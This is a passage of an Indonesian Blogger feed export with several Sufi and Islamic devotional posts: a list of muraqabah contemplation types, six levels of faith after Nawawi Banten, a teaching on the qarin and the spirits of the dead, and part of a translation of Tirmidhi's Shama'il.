9. Muraqabatul Mahabbah fi al-Dairat al-Sirfa, Yaitu murâqabah atas Allâh Swt. yang telah menjadikan hakikat Nabi Musa As., yang sangat dikasihi, sehingga bertitel kalimullah&lt;br /&gt;
10. Murâqabah al-Dzatiyah al-Muntazibal bil Mahabbah, Yaitu murâqabah kepada Allâh Swt., yang telah menjadikan hakikat Nabi Muhammad Saw. yang telah menjadikan kekasihnya yang asal dan dicampur dengan sifat pengasih&lt;br /&gt;
11. Murâqabah al-Mahbubiyah al-Sirfah, Yaitu murâqabah kepada Allâh Swt. yang telah menjadikan hakikat Nabi Ahmad yang memiliki sifat pengasih yang mulus. Keempat jenis murâqabah ini (no. 8, 9, 10, dan 11) merupakan pendalaman dari murâqabah ulul azmi yang ada dalam Tharîqah Naqsyabandiyah al-Mujaddadiyah&lt;br /&gt;
12. Murâqabah al-Hubb al-Sirfi, Yaitu murâqabah kepada Allâh Swt. yang telah mengasihi orang-orang mukmin (dengan tulus) yang cinta kepada Allâh Swt. , para malaikat, para rasul, para nabi dan wali, cinta pada para `ulamâ‟ dan kepada sesama mukmin. Murâqabah ini di dalam Tharîqah Naqsyabandiyah disebut dengan Murâqabah al-Mahabbah.&lt;br /&gt;
13. Murâqabah la Ta‟yin, Adalah Murâqabah akan hak Allâh Swt. yang tidak dapat dinyatakan dzat-Nya, oleh semua makhluk tanpa kecuali. Murâqabah jenis ini tidak terdapat dalam kedua tharîqah induknya. Akan tetapi tehnik dan sasaran dan murâqabah sudah tercakup di dalam murâqabah ahadiyah pada Tharîqah Naqsyabandiyah Mujaddidiyah.&lt;br /&gt;
14. Murâqabah haqiqatul Ka‟bah, Adalah murâqabah kepada Allâh Swt., dzat yang telah menciptakan hakikat ka‟bah sebagai kiblatnya orang yang bersujud kepada Allâh Swt.&lt;br /&gt;
15. Murâqabah haqiqatul Qur‟an, Murâqabah ini adalah mawas diri atas Allâh Sw&lt;br /&gt;
&lt;br /&gt;
yang telah menjadikan hakikat al-Qur‟an yang diturunkan kepada Nabi Muhammad Saw., yang merupakan ibadah bagi pembacanya.&lt;br /&gt;
16. Murâqabah haqiqatul Sirfah, adalah murâqabah atas Allâh Swt. yang telah mewajibkan kepada para hambanya untuk melakukan shalat, yang terdiri dari beberapa ucapan dan perbuatan&lt;br /&gt;
17. Murâqabah Dairat al-Ma‟budiyah al-Sirfah, Adalah murâqabah dengan berkontemplasi akan Allâh Swt. yang memiliki hak untuk disembah oleh semua makhluk-Nya&lt;br /&gt;
18. Murâqabah al-Mahabbah fi al-Dairat al-Ma, Yaitu murâqabah atas Allâh Swt. dzat yang telah menjadikan hakikat Nabi Ibrahim sebagai Khalîlullâh&lt;br /&gt;
19. Murâqabah al-Mahabbah fi al-Dairat, Yaitu murâqabah atas Allâh Swt. dzat yang telah menjadikan hakikat Nabi Musa As. Yang sangat dikasihi, sehingga bertitel Kalimullâh&lt;br /&gt;
20. Murâqabah al-Mahabbah fi al-Dairat al-Qaus, Ketiga jenis murâqabah ini adalah jenis mawas diri atas kecintaan kepada Allâh Swt. pada orang-orang yang beriman dan kecintaannya orang mukmin kepada Allâh Swt. Ketiganya merupakan pendalaman dan perincian atas murâqabah al-Aqrabiyah dan alMahabbah yang ada dalam Tharîqah Naqsyabandiyah.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Enam Tingkat Keimanan Manusia di Hadapan Allah</title><link>http://alifbraja.blogspot.com/2019/06/enam-tingkat-keimanan-manusia-di.html</link><pubDate>Fri, 7 Jun 2019 04:53:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-9115181255753626072</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
أشهد أن لا اله الا الله و أشهد أن محمدا رسول الله&lt;br /&gt;
&lt;br /&gt;
Enam Tingkat Keimanan Manusia di Hadapan Allah&lt;br /&gt;
______________________________________________&lt;br /&gt;
&lt;br /&gt;
Iman kepada Allah merupakan rukun iman pertama. Kepercayaan atas keberadaan Allah, sebagai zat yang melebihi segala makhluk-Nya, mengangkat derajat seseorang yang membuat hatinya lapang karena batin orang yang beriman adalah samudera tak bertepi dan cakrawala tak berbatas. Namun, demikian tingkat keimanan seseorang berbeda-beda.&lt;br /&gt;
&lt;br /&gt;
Syekh M Nawawi Banten menyebut lima tingkat keimanan anak Adam. Ia menjelaskan secara rinci sebagai berikut ini:&lt;br /&gt;
&lt;br /&gt;
مراتب الإيمان خمسة&lt;br /&gt;
&lt;br /&gt;
Artinya, “Derajat keimanan ada lima,” (Lihat Syekh M Nawawi Banten, Kasyifatus Saja, [Indonesia, Daru Ihyail Kutubil Arabiyyah], halaman 9).&lt;br /&gt;
&lt;br /&gt;
Pertama, iman taklid. Keimanan ini didasarkan pada ucapan orang lain (ulama biasanya) tanpa memahami dalilnya. Keimanan orang ini sah-sah saja meski ia terbilang bermaksiat karena meninggalkan upaya pencarian dalil sendiri bila ia termasuk orang yang dalam kategori mampu melakukan pencarian dalil.&lt;br /&gt;
&lt;br /&gt;
Kedua, iman ilmu atau ilmul yaqin. Keimanan ini didasarkan pada pemahaman aqidah berikut dalil-dalilnya.&lt;br /&gt;
&lt;br /&gt;
“Orang dengan kategori keimanan pertama dan kedua terhijab dari zat Allah,” (Lihat Syekh M Nawawi Banten, Kasyifatus Saja, [Indonesia, Daru Ihyail Kutubil Arabiyyah], halaman 9).&lt;br /&gt;
&lt;br /&gt;
Ketiga, iman ‘iyan atau ainul yaqin. Dengan keimanan ini seseorang mengetahui Allah (makrifatullah) dengan jalan pengawasan batin. Dengan keimanan ini, Allah tidak ghaib sekejap pun dari mata batinnya. Bahkan “gerak-gerik” Allah selalu hadir di dalam batinnya seakan ia memandang-Nya. Ini maqam muraqabah.&lt;br /&gt;
&lt;br /&gt;
Keempat, iman haq atau haqqul yaqin. Dengan keimanan ini, seseorang memandang Allah melalui batinnya. Ini yang dibilang oleh para ulama bahwa “arif (orang dengan derajat makrifat) memandang Tuhannya pada segala sesuatu.” Ini maqam musyahadah.&lt;br /&gt;
&lt;br /&gt;
“Orang dengan kategori keimanan ini terhijab dari makhluk Allah,” (Lihat Syekh M Nawawi Banten, Kasyifatus Saja, [Indonesia, Daru Ihyail Kutubil Arabiyyah], halaman 9). Dengan demikian, yang tampak padanya hanya Allah belaka.&lt;br /&gt;
&lt;br /&gt;
Kelima, iman hakikat. Dengan keimanan ini, orang menjadi lenyap karena Allah dan dimabuk oleh cinta kepada-Nya. Ia tidak menyaksikan apapun selain Allah. Bahkan ia sendiri tidak menyaksikan dirinya. Seperti tenggelam di laut, ia tidak melihat adanya pantai. Orang ini berada di maqam fana.&lt;br /&gt;
&lt;br /&gt;
Semua keimanan ini mulia di level mana pun itu. Tetapi memang derajat dari semua keimanan itu berbeda di sisi Allah. Hanya saja, kita sebagai manusia biasa tidak perlu menilai tingkat keimanan orang lain karena semua mendapatkan petunjuk dari sumber yang sama, yaitu Allah.&lt;br /&gt;
&lt;br /&gt;
Keimanan dua kategori pertama dapat diupayakan (wilayah ikhtiar manusia). Oleh karena itu, seseorang wajib mendalami keimanan melalui pencarian dalil dan wajib mempelajari sedapat mungkin sifat-sifat Allah.&lt;br /&gt;
&lt;br /&gt;
Sementara keimanan pada tingkatan berikutnya merupakan laduni, wahbi, atau anugerah ilahi yang tidak bisa diikhtiarkan karena didasarkan pada kehendak Allah.&lt;br /&gt;
&lt;br /&gt;
والواجب على الشخص أحد القسمين الأولين أما الثلاثة الآخر فعلوم ربانية يخص بها من يشاء من عباده&lt;br /&gt;
&lt;br /&gt;
Artinya, “Seseorang wajib berada di dua level pertama. Sedangkan tiga level setelah itu adalah ilmu rabbani [anugerah ilahi] yang Allah berikan secara khusus kepada sejumlah hamba-Nya yang dikehendaki,” (Lihat Syekh M Nawawi Banten, Kasyifatus Saja, [Indonesia, Daru Ihyail Kutubil Arabiyyah], halaman 9).&lt;br /&gt;
&lt;br /&gt;
Dari lima tingkatan ini, kita menjadi teringat pada keimanan pada maqam baqa sebagaimana disebutkan oleh Syekh Ibnu Athaillah dalam Al-Hikam-nya. Jadi keimanan seseorang kepada Allah terdapat enam tingkatan.&lt;br /&gt;
&lt;br /&gt;
Keenam, iman pada tingkat maqam baqa. Dengan keimanan ini, seseorang memandang Allah dan makhluk-Nya sekaligus tanpa terkecoh. Dengan keimanan ini, seseorang memandang dua entitas berbeda, yaitu Allah sebagai ujud hakiki dan makhluk-Nya sebagai ujud majazi.&lt;br /&gt;
&lt;br /&gt;
Tingkatan keimanan keenam ini yang disebut juga maqam akmal atau maqam lebih sempurna karena ia tetap menjaga hubungan dengan alam, manusia, hewan, selain menjaga hubungan dengan Allah.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Perbedaan antara Qarin dan Arwah</title><link>http://alifbraja.blogspot.com/2019/06/perbedaan-antara-qarin-dan-arwah.html</link><pubDate>Fri, 7 Jun 2019 04:36:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-1425042449148044785</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
أشهد أن لا اله الا الله و أشهد أن محمدا رسول الله&lt;br /&gt;
&lt;br /&gt;
Dalam bahasa modern dikenal istilah black box*, dan qarin itu black boxnya manusia. Yang sering kita mainkan dan yang sering dibawa kesana-kemari itu black boxnya. Seperti lagu dalam kaset ada tujuh belas lagu, misalnya, yang diputar terkadang hanya nomor enam dan nomer tiga. Terus saja berputar di situ-situ saja beberapa lagu yang tercatat di dalam qarin itu tadi. Tidak bisa kurang dan tidak bisa lebih. Sebab tugas black box itu merekam semua perilaku yang semisal, qarin sama kedudukannya.&lt;br /&gt;
&lt;br /&gt;
Maka sebagian ahli kasyaf (orang yang memiliki mata batin) jika berziarah ke ahli barzakh dia tahu ini muwakkal (perwakilan) atau ini qarinnya yang di sana. Sehingga para wali besar seperti Mbah Sholeh Bagusan Comal adalah termasuk dari ahli kasyaf yang luar biasa. Berangkat ziarah bersama rombongan. Begitu sampai di lokasi ziarah langsung ngajak pulang, "Balik ae balik ae, do balik, balik yo..."&lt;br /&gt;
&lt;br /&gt;
Tapi ucapan Mbah Sholeh tersebut ada alasannya. "Balik ae balik, percuma ra ono wonge, percuma ra ono wonge, wes balik ae (Pulang saja, percuma tidak ada orangnya)". Mbah Sholeh hanya kirim surat al-Fatihah lalu pulang. Sebab beliau tahu yang di situ tidak ada, arwahnya sedang kumpul bersama para wali lainnya ('ala masyrabahum); yang Syadziliyah berkumpul dengan arwahnya Imam asy-Syadzili, yang Qadiriyah berkumpul dengan Syaikh Abdul Qadir al-Jailani, yang Tijaniyah, yang Syathariyah, dst. kumpul dengan aimmat ath-thurufihim (para pimpinannya) yakni alladzi fihi al-madad min madad al-maula, kumpul bersama.&lt;br /&gt;
&lt;br /&gt;
Ada para wali yang pulang ke kuburnya belum tentu sehari sekali atau seminggu sekali. Semisal ziarah ke Syaikh Abdul Wahab asy-Sya’roni. Jika mau berziarah ke sana saat menjelang ba’da shalat Fajar atau menjelang Shubuh, maka bisa bertemu dengan Syaikh Abdul Wahab asy-Sya’roni di kuburnya. Selain Sabtu pagi tidak akan ketemu, sebab beliau masih berkumpul bersama Baginda Nabi Saw. Minal arwah junudun mujannadah (ruh-ruh itu laksana tentara yang berkumpul)**, dikumpulkan di situ.&lt;br /&gt;
&lt;br /&gt;
Di situ yang menjadi muwakkal adalah para malaikat, bukan qarin, yang ditugasi menjaga kuburan wali tadi. (Malaikat) "Ada hajat apa?" (Peziarah) "Saya hendak bertawasul dengan wali Allah." (Malaikat) "Apa keperluannya?" (Peziarah) "Mintakan pada Allah Swt. hajat saya begini dan begini..."&lt;br /&gt;
&lt;br /&gt;
Malaikat itu lah nanti yang akan menyampaikannya kepada Allah Ta’ala dengan seizin wali tadi. (Malaikat) "Ini tamunya banyak Kiai, tadi di kuburanmu ada fulan dan fulan..." (Wali) "Ya, keperluannya apa saja, dibacakan satu-satu..." Umpanya demikian. Kemudian oleh si wali dihaturkan permintaan-permintaan (doa) tadi kepada Allah Swt.&lt;br /&gt;
&lt;br /&gt;
Kematian adalah sesuatu yang pasti terjadi. Tidak ada ruh yang bisa keluar dengan sendirinya. Tatkala Malaikat Izrail mencabut nyawa seorang hamba maka terlepaslah ruh dari jasadnya. Jika ada pertanyaan, banyak ritual yang konon bisa memanggil arwah dan bisa dimasukkan apakah itu termasuk asrar?&lt;br /&gt;
Jawabannya bisa diimbangi dengan logika. Lihat neon-neon lampu, seumpama kaca/bohlamnya dicopot masih ada apinya atau tidak? Yang nyala itu kaca atau setrumnya? Setrum. Jika setrumnya masih ada tapi bohlamnya tidak ada maka apinya masih tetap ada. Demikianlah arwah tatkala keluar dari jasadnya.&lt;br /&gt;
نور العالم والأسرار فيه الأنوار&lt;br /&gt;
"Cahaya orang alim dan asrar di dalamnya ada cahaya-cahaya." Sebab ibadahnya seorang wali itu sehari bisa mengkhatamkan al-Quran sekian kali, Tahajjud sekian, sholawat sekian, dzikir sekian, dst. Inilah asror yang luar biasa.&lt;br /&gt;
&lt;br /&gt;
Arwahnya ditarik tapi jasadnya masih di dalam kuburnya. Ada jasad yang masih terjaga utuh, sebab melanggengkan wudhu, atau ahli Tahajjud, lebih-lebih hafidz al-Quran atau hablu al-Quran, ini yang dijaga. Sewaktu-waktu dia mendapat perintah oleh Allah Ta’ala untuk hadir saat kematian orang alim, atau saat negara genting, ruh itu diletakkan kembali kemudian bangun dari kuburnya ikut membela jihad fi sabilillah. Contohnya saat kematian Sayyidina Umar bin Abdul Aziz, para wali dan syuhada yang sudah wafat semuanya hadir untuk bertakziah kepada Umar bin Abdul Aziz.&lt;br /&gt;
&lt;br /&gt;
Ada pula waktu itu ruh yang diizini Allah Swt. menghampiri ibunya yang masih hidup. Dia bersama rombongan diminta oleh para syuhada ikut bertakziah ke Umar bin Abdul Aziz. Namun izinnya hanya itu, tidak diperkenankan mampir.&lt;br /&gt;
Jika jasad telah hancur maka arwah mutlak "nurun yatala’la abwa kal barqil khathif kal mir-ah", seperti pantulan kaca yang kemilau. Yang pada akhirnya ruh itu masuk ke dalam jasad seseorang, maka termasuk sebuah keberuntungan besar bagi orang tersebut. Ini membutuhkan jasad yang betul-betul kuat. Jadi istilah memanggil arwah sebetulnya yang masuk adalah asrarnya, bukan ruh, semisal asrar para Wali Songo.&lt;br /&gt;
Berbeda dengan orang-orang ahli thariqah, maka madad min madadillah yang masuk. Allah Ta’ala memberikan madad kepada Nabi Saw., lalu para sahabat, kemudian kepada para imam thariqah. Itu berbeda karena haknya para wali, bukan masalah kesurupan atau kerasukan.&lt;br /&gt;
Semisal jika seorang (kiai) ahli thariqah akan wafat maka ruh-ruh suci akan hadir. Lalu dipersilakan olehnya laiknya menyambut tamu dan terkadang seperti sedang ngobrol sendiri. Seolah-olah kiai tersebut sedang zawalul ‘aqli (hilang akal). Padahal dia sedang melihat siapa saja yang akan menyaksikan dirinya kembali kehadirat Ilahi. Artinya dia sudah siap. Inilah yang dinamakan madad min madadillah. Sangat banyak para wali Allah yang mengalami demikian. Tapi jika ruh masuk ke dalam jasad manusia maka tidak ada nash yang kuat. Kalau asrar iya, betul, asrar dari ruh-ruh yang suci.&lt;br /&gt;
&lt;br /&gt;
Adapun tawasulan berbeda lagi maksudnya. Di sini harus paham. Penyampaian asrar seperti di atas itu ya seperti wali itu sendiri. Artinya itu hak. Seolah-olah sama tapi tidak sama.&lt;br /&gt;
Semisal ditanyakan, ada yang kemasukan asrar tapi kenapa dawuh (perkataannya) tidak digugu/diikuti? Mau diikuti bagaimana jika dirinya sendiri saja belum bisa membedakan antara malaikat dengan iblis. Seperti halnya seseorang yang mengaku ketemu wali fulan sedangkan dirinya saja belum bisa membedakan mana ruh yang mahfudz (dijaga) dan yang ghairul mahfudz (tidak dijaga). Sehingga banyak yang salah memahami sampai-sampai dia meninggalkan shalat seolah-olah sudah ditanggung.&lt;br /&gt;
Apalagi jika yang datang itu semisal berkata, "Kamu itu cucuku, bukan orang lain." Repotnya di situ. Itu yang ngomong siapa? sudah bisa membedakan apa belum? Makanya jangan suka main-main dengan ilmu-ilmu seperti itu. Kalau belum waktunya tidak akan bisa. Tentang ini ada keterangan penting dalam kitab Munjinat al-Asrar bab khawash surat al-ikhlas.&lt;br /&gt;
&lt;br /&gt;
_________________&lt;br /&gt;
*Kotak hitam atau black box adalah sekumpulan perangkat yang digunakan dalam bidang transportasi, mumnya merujuk kepada perekam data penerbangan (flight data recorder; FDR) dan perekam suara kokpit (cockpit voice recorder; CVR) dalam pesawat terbang.&lt;br /&gt;
**Dalam kitab Ihya' Ulumiddin halaman 159-160, Imam al-Ghazali memberikan ulasan menarik tentang hadits al-arwah junudun mujannadah, sebagai berikut:&lt;br /&gt;
الارواح جنود مجندة فما تعارف منها ائتلف وما تناكر منها اختلف (*1) فالتناكر نتيجة التباين والائتلاف نتيجة التناسب الذى عبر عنه بالتعارف وفي بعض الالفاظ " الارواح جنود مجندة تلتقي فتتشام في الهواء (*2). وقد كنى بعض العلماء عن هذا بان قال ان الله تعالى خلق الارواح ففلق بعضها فلقا واطافها حول العرش فأى روحين من فلقتين تعارفا هناك فالتقيا تواصلا في الدنيا. وقال صلى الله عليه وسلم ان ارواح المؤمنين ليلتقيان علي مسيرة يوم وما رأى احدهما صاحبه قط (*3)&lt;br /&gt;
Ruh-ruh/jiwa itu laksana tentara yang berkumpul, maka yang saling mengenal daripadanya niscaya menyelaraskan (mudah bergaul atau saling menyesuaikan) dan yang bertentangan daripadanya niscaya saling menyelisihi (berseberangan ).".(1).&lt;br /&gt;
&lt;br /&gt;
Kata "Tanakur/pertentangan" adalah natijah (hasil) dari perbedaan, dan "I'talaf/kejinakan" adalah hasil dari kesesuaian yang diibaratkan dengan "Ta'aruf" atau saling mengenal, atau berkenalan satu sama lain. Pada sebagian teks hadits di atas terdapat maksud yang mengindikasikan bahwa jiwa atau ruh itu ibarat tentara yang berkumpul dan berjumpa, lalu berciuman di udara. (2).&lt;br /&gt;
Sebagian Ulama menyebutkan hal ini dengan cara kinayah atau sindiran dengan mengatakan, bahwa Allah Swt. menjadikan segala nyawa, maka dipecahkanNya sebagian dan dithawafkan di sekeliling Arsy. Maka mana diantara dua nyawa atau ruh dari dua pecahan yang berkenalan itu lalu bertemu sebagai kesinambungan terhadap perjumpaan keduanya di dunia. Nabi Saw. bersabda, "Bahwa nyawa dua orang mu'min bertemu dalam perjalanan sehari, dan tidak sekali-kali salah satu dari keduanya melihat temannya." (3).&lt;br /&gt;
&lt;br /&gt;
(1) HR. Imam Muslim dari Abi Hurairah dan Imam Bukhari meriwayatkan sebagai ulasan dari hadits Siti Aisyah).&lt;br /&gt;
(2) Hadits "Jiwa atau ruh itu ibarat tentara yang berkumpul dan berjumpa, lalu berciuman di udara", Imam ath-Thabarani menyandarkan kelemahan hadits ini dari hadits Ali.&lt;br /&gt;
(3). Hadits "Bahwa nyawa dua orang mu'min bertemu dalam perjalanan sehari, dan tidak sekali-kali salah satu dari keduanya melihat temannya", Imam Ahmad meriwayatkan dari Abdullah bin 'Amr dengan lafadz " تلتقى " dan berkata salah seorang dari mereka yang terdapat didalamnya Ibnu Luhai'ah dari Daraj. (footnote Ihya, Hal. 159, tentang makna "al-ikhwah fillah").&lt;br /&gt;
&lt;br /&gt;
Dishare dari: Sya'roni As-Samfuriy.&lt;br /&gt;
Disampaikan oleh Maulana Habib Luthfi bin Yahya dalam Pengajian Ramadhan di ndalem beliau, tahun 2016.&lt;br /&gt;
&lt;br /&gt;
_____________________________________&lt;br /&gt;
&lt;br /&gt;
Disampaikan oleh Maulana Habib Luthfi bin Yahya dalam Pengajian Ramadhan di ndalem beliau, tahun 2016.&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>TENTANG KHATAMUN NUBUWWAH  TERJEMAH KITAB AS SYAMAIL MUHAMMADIYAH IMAM TIRMIDZI bag. 2</title><link>http://alifbraja.blogspot.com/2019/06/tentang-khataman-nubuwwah-terjemah_6.html</link><pubDate>Thu, 6 Jun 2019 19:05:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-774056401107709899</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
أشهد أن لا اله الا الله و أشهد أن محمدا رسول الله&lt;br /&gt;
&lt;br /&gt;
Lanjutan...&lt;br /&gt;
&lt;br /&gt;
Katakanlah (wahai Muhammad): "Jika benar kamu mengasihi Allah maka ikutilah daku, nescaya Allah mengasihi kamu serta mengampunkan dosa-dosa kamu. Dan (ingatlah), Allah Maha Pengampun, lagi Maha Mengasihani. (Surah Ali Imran : 31)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
أشهد أن لا اله الا الله وأشهد ان محمد رسول الله &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&amp;nbsp;‘Asyhadu an laa ilaaha illallāh wa asyhadu anna Muhammad Rasuulullāh.’&lt;br /&gt;
Artinya: ‘Saya bersaksi bahwa tiada Tuhan selain Allah dan saya bersaksi bahwa Muhammad adalah rasul (utusan) Allah.’&lt;br /&gt;
&lt;br /&gt;
TENTANG KHATAMAN NUBUWWAH &amp;nbsp; &amp;nbsp; TERJEMAH KITAB AS SYAMAIL MUHAMMADIYAH IMAM TIRMIDZI bag. 2&lt;br /&gt;
&lt;br /&gt;
22. cara bertelekan Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن أنس: «أن النبي صلى الله عليه وسلم كان شاكيا فخرج يتوكأ على أسامة بن زيد وعليه ثوب قطري قد توشح به فصلى بهم».&lt;br /&gt;
&lt;br /&gt;
."Sesungguhnya Nabi saw. sedang dalam keadaan sakit. Beliau keluar (dari rumahnya) dengan bertelekan kepada Usamah bin Zaid. Waktu itu beliau memakai kain Qithri (buatan Qatar) yang diselempangkan. Kemudian Beliaushalat bersama mereka (para sahabat)."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh `Abdullah bin `Abdurrahman, dari `Amr `Ashim, dari Hammad bin Salamah, dari Humaid, yang bersumber dari Anas r.a.)&lt;br /&gt;
&lt;br /&gt;
، عن الفضل بن عباس قال: دخلت على رسول الله صلى الله عليه وسلم في مرضه الذي توفي فيه وعلى رأسه عصابة صفراء فسلمت عليه، فقال: «يا فضل» قلت: لبيك يا رسول الله قال: «اشدد بهذه العصابة رأسي» قال: ففعلت، ثم قعد فوضع كفه على منكبي، ثم قام فدخل في المسجد&lt;br /&gt;
&lt;br /&gt;
"Aku masuk ke rumah rasulullah saw. tatkala beliau sedang sakit yang membawa ajalnya. Di kepalanya ada balutan kain kuning. Kepadanya kuucapkan salam, kemudian beliau bersabda : "Wahai Fadlal, apa kabarmu?" Aku menjawab : "Baik wahai Rasulullah !" Rasulullah bersabda : "Kuatkan balutan yang ada di kepalaku ini !" Fadlal meneruskan ceritanya :"Maka kulakukan perintah Rasulullah saw. itu. Kemudian beliau duduk, lalu meletakkan tangannya di atas bahuku, kemudian beliau berdiri lalu masuk ke masjid."&lt;br /&gt;
&lt;br /&gt;
( Diriwayatkan oleh `Abdullah bin `Abdurrahman, dari Muhammad bin al Mubarak, dari `Atha'bin Muslim al Khaffaf al Halabi,dari Ja'far bin Furqan, dari `Atha' bin Abi Rabbah,yang bersumber dari *al Fadlal bin `Abbas r.a.)&lt;br /&gt;
&lt;br /&gt;
23. cara makan Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن أبيه، «أن النبي صلى الله عليه وسلم كان يلعق أصابعه ثلاثا»&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya Nabi saw. menjilati jari jemarinya (sehabis makan) tiga kali."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Basyar, dari `Abdurrahman bin Mahdi, dari Sufyan, dariSa'id bin Ibrahim, dari salah seorang anak Ka'ab bin Malik, yang bersumber daribapaknya.)&lt;br /&gt;
&lt;br /&gt;
عن أنس قال: «كان النبي صلى الله عليه وسلم إذا أكل طعاما لعق أصابعه الثلاث».&lt;br /&gt;
&lt;br /&gt;
."Bila Nabi saw. selesai makan, beliau menjilati jari jemarinya yang tiga*."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh al Hasan bin `Ali al Khilali, dari `Affan, dari Hammad bin Salamah, dariTsabit, yang bersumber dari Anas r.a.)&lt;br /&gt;
&lt;br /&gt;
• Yang dimaksud jari yang tiga ,yakni: jari tengah, jari telunjuk dan ibu jari.&lt;br /&gt;
&lt;br /&gt;
24. jenis roti yg dimakan Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن عائشة، أنها قالت: «ما شبع آل محمد صلى الله عليه وسلم من خبز الشعير يومين متتابعين حتى قبض رسول الله صلى الله عليه وسلم».&lt;br /&gt;
&lt;br /&gt;
"Keluarga Nabi saw. tidak pernah makan roti sya'ir* sampai kenyang dua hariberturut-turut hingga Rasulullah saw. wafat."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin al Matsani, dan diriwayatkan pula oleh Muhammad binBasyar, keduanya menerima dari Muhammad bin Ja'far, dari Syu'bah, dari Ishaq, dari`Abdurrahman bin Yazid, dari al Aswad bin Yazid*, yang bersumber dari `Aisyah r.a.)&lt;br /&gt;
&lt;br /&gt;
• Sya'ir, khintah dan bur, semuanya diterjemahkan ke dalam bahasa Indinesia dengan"gandum" sedangkan sya'ir merupakan gandum yang paling rendah mutunya. Kadang kala ia dijadikan makanan ternak, namun dapat pula dihaluskan untuk makanan manusia. Roti yangterbuat dari sya'ir kurang baik mutunya.&lt;br /&gt;
&lt;br /&gt;
عن أنس قال: «ما أكل رسول الله صلى الله عليه وسلم على خوان ولا أكل خبزا مرققا حتى مات».&lt;br /&gt;
&lt;br /&gt;
."Rasulullah saw. tidak pernah makan di atas meja dan tidak pernah makan roti gandum yang halus, hingga wafatnya."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh `Abdullah bin `Abdurrahman, dari'Abdullah bin `Amr –Abu Ma'mar-,dari `Abdul Warits, dari Sa'id bin Abi `Arubah, dari Qatadah, yang bersumber dari Anasr.a.)&lt;br /&gt;
&lt;br /&gt;
25. lauk pauk yg dimakan Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن عائشة، أن رسول الله صلى الله عليه وسلم قال: «نعم الإدام الخل»&lt;br /&gt;
قال عبد الله بن عبد الرحمن، في حديثه: «نعم الإدام أو الأدم الخل».&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya Rasulullah bersabda: "Saus yang paling enak adalah cuka."&lt;br /&gt;
`Abdullah bin `Abdurrahman berkata :"Saus yang paling enak adalah cuka."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Shal bin `Askar dan `Abdullah bin `Abdurrahman,keduanya menerima dari Yahya bin Hasan, dari Sulaiman bin Hilal, Hisyam bin `Urwah, dari bapaknya yang bersumber dari `Aisyah r.a.)&lt;br /&gt;
&lt;br /&gt;
عن أبي أسيد قال: قال رسول الله صلى الله عليه وسلم: «كلوا الزيت وادهنوا به؛ فإنه من شجرة مباركة».&lt;br /&gt;
&lt;br /&gt;
"Rasulullah saw. bersabda :"Makanlah minyak zaitun dan berminyaklah dengannya. Sesungguhnya ia berasal dari pohon yang diberkahi."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Mahmud bin Ghailan, daari Abu Ahmad az Zubair, dan diriwayatkanpula oleh Abu Nu'aim, keduanya menerima dari Sufyan, dari ` Abdullah bin `Isa, dari seorang laki-laki ahli syam yang bernama Atha', yang bersumber dari Abi Usaid r.a.)&lt;br /&gt;
&lt;br /&gt;
عن أنس بن مالك قال: «كان النبي صلى الله عليه وسلم يعجبه الدباء فأتي بطعام، أو دعي له فجعلت أتتبعه فأضعه بين يديه لما أعلم أنه يحبه».&lt;br /&gt;
&lt;br /&gt;
"Nabi saw. menggemari buah labu. maka (pada suatu hari) beliau diberi makanan itu, atau diundang untuk makan makanan itu (labu). Aku pun mengikutinya, maka makanan itu (labu) kuletakkan dihadapannya, karena aku tahu beliau menggemarinya.&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Basyar, dari Muhammad bin Ja'far, dan diriwayatkan pula oleh `Abdurrahman bin Mahdi, keduanya menerima dari Syu'bah, dari Qatadah yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
&lt;br /&gt;
عن عائشة قالت: «كان النبي صلى الله عليه وسلم يحب الحلواء والعسل»&lt;br /&gt;
&lt;br /&gt;
"Nabi saw. menyenangi kue-kue manis (manisan) dan madu."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Ahmad bin Ibrahim ad Daruqi, juga diriwayatkan oleh Salamah bin Syabib dan diriwayatkan pula oleh Mahmud bin Ghailan, mereka menerimanya dari AbuUsamah, dari Hisyam bin `Urwah yang bersumber dari `Aisyah r.a.)&lt;br /&gt;
&lt;br /&gt;
عن أبي هريرة قال: «أتي النبي صلى الله عليه وسلم بلحم فرفع إليه الذراع وكانت تعجبه فنهس منها».&lt;br /&gt;
&lt;br /&gt;
"Nabi saw. diberi makan daging, maka diambilakn baginya bagian dzir'an&lt;br /&gt;
